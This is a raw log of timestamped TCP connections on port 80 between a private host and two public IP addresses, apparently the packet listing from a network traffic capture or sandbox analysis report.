Dec 31, 2021 19:12:50.630608082 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630629063 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630649090 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630669117 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630707979 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630733967 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630744934 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630784035 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630821943 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630839109 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630861044 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630876064 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.630902052 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630939007 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630976915 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.630994081 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631016016 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631031036 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631053925 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631093025 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631129980 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631145954 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631170988 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631185055 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631211996 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631248951 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631288052 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631300926 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631328106 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631340981 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631365061 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631402969 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631441116 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631457090 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631480932 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631494999 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631520987 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631556988 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631594896 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631608963 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631633043 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631649971 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631670952 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631709099 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631747007 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631762028 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631787062 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631802082 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631833076 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631863117 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:50.631891966 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631927967 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.631989956 CET	49793	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:50.681103945 CET	80	49793	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:51.911545992 CET	49796	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:51.960294962 CET	80	49796	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:51.963495016 CET	49796	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:51.963548899 CET	49796	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:51.963557959 CET	49796	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.012195110 CET	80	49796	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.043066978 CET	80	49796	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.043112040 CET	80	49796	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.043251038 CET	49796	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.043373108 CET	49796	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.069720984 CET	49797	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.092381001 CET	80	49796	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.118484974 CET	80	49797	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.123497009 CET	49797	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.123586893 CET	49797	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.123599052 CET	49797	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.172475100 CET	80	49797	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.197597027 CET	80	49797	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.197643995 CET	80	49797	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.197721958 CET	49797	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.197849989 CET	49797	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.246381998 CET	80	49797	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.310026884 CET	49798	80	192.168.2.3	54.38.220.85
Dec 31, 2021 19:12:52.327877998 CET	80	49798	54.38.220.85	192.168.2.3
Dec 31, 2021 19:12:52.331505060 CET	49798	80	192.168.2.3	54.38.220.85
Dec 31, 2021 19:12:52.331607103 CET	49798	80	192.168.2.3	54.38.220.85
Dec 31, 2021 19:12:52.349356890 CET	80	49798	54.38.220.85	192.168.2.3
Dec 31, 2021 19:12:52.349410057 CET	80	49798	54.38.220.85	192.168.2.3
Dec 31, 2021 19:12:52.384025097 CET	49799	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.432843924 CET	80	49799	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.433089972 CET	49799	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.433130026 CET	49799	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.433139086 CET	49799	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.481969118 CET	80	49799	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.487365961 CET	49798	80	192.168.2.3	54.38.220.85
Dec 31, 2021 19:12:52.512295961 CET	80	49799	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.512484074 CET	49799	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.512536049 CET	49799	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.538603067 CET	49800	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.561240911 CET	80	49799	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.587335110 CET	80	49800	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.587517023 CET	49800	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.587570906 CET	49800	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.588857889 CET	49800	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.638490915 CET	80	49800	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.638539076 CET	80	49800	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.664386988 CET	80	49800	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.667228937 CET	49800	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.667320967 CET	49800	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.691404104 CET	49801	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.715934038 CET	80	49800	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.740190983 CET	80	49801	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.740608931 CET	49801	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.740684032 CET	49801	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.740704060 CET	49801	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.790293932 CET	80	49801	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.820029020 CET	80	49801	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.821526051 CET	49801	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.821717978 CET	49801	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.847681046 CET	49802	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.870285988 CET	80	49801	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.896363974 CET	80	49802	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.896467924 CET	49802	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.896544933 CET	49802	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.896778107 CET	49802	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.945342064 CET	80	49802	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.945389032 CET	80	49802	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.974729061 CET	80	49802	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:52.975127935 CET	49802	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:52.991067886 CET	49802	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.039802074 CET	80	49802	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.044965029 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.093822956 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.094062090 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.094145060 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.182074070 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238090038 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238153934 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238205910 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238257885 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238267899 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.238306999 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238357067 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238368988 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.238405943 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238457918 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238460064 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.238508940 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238558054 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.238560915 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.238609076 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.287338972 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287404060 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287507057 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.287528992 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287580967 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287628889 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287681103 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287682056 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.287730932 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287781000 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287810087 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.287828922 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.287832022 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287879944 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287929058 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.287930965 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.287978888 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288027048 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288029909 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.288077116 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288125038 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288176060 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288177013 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.288224936 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288274050 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288278103 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.288324118 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.288325071 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288376093 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.288424969 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337235928 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337272882 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337295055 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337316990 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337337971 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337342978 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337359905 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337372065 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337382078 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337403059 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337428093 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337430000 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337451935 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337465048 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337476969 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337498903 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337508917 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337521076 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337541103 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337546110 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337601900 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337603092 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337671041 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337694883 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337727070 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337754011 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337788105 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337791920 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337815046 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337852001 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337867975 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.337874889 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.337927103 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338013887 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338037014 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338057995 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338079929 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338088989 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338103056 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338125944 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338128090 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338146925 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338166952 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338169098 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338212967 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338237047 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338260889 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338284016 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338308096 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338334084 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338371992 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338434935 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338459015 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338480949 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338502884 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338510990 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338525057 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338546991 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.338553905 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.338607073 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386218071 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386245012 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386267900 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386288881 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386312008 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386332989 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386356115 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386395931 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386410952 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386437893 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386441946 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386466980 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386488914 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386511087 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386533022 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386547089 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386584997 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386629105 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386650085 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386708021 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386713982 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386737108 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386786938 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386809111 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386837959 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386873007 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.386882067 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.386895895 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387051105 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387072086 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387094021 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387099981 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387116909 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387131929 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387136936 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387157917 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387166977 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387201071 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387219906 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387259007 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387306929 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387437105 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387485981 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387507915 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387531042 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387541056 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387590885 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387624979 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387648106 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387695074 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387713909 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387737989 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387759924 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387782097 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387790918 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387803078 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387824059 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387841940 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387868881 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.387949944 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387974024 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.387995958 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.388016939 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.388029099 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.388041019 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.388062954 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.388067961 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.388108969 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.388156891 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435072899 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435101032 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435123920 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435143948 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435146093 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435164928 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435167074 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435192108 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435209990 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435565948 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435590982 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435612917 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435635090 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435645103 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435657024 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435681105 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435684919 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435708046 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435751915 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435813904 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435836077 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435858011 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435867071 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435879946 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435902119 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435908079 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435929060 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.435955048 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.435981035 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436002970 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436031103 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436058044 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436064005 CET	49803	80	192.168.2.3	31.28.27.130
Dec 31, 2021 19:12:53.436080933 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436103106 CET	80	49803	31.28.27.130	192.168.2.3
Dec 31, 2021 19:12:53.436125040 CET	80	49803	31.28.27.130	192.168.2.3
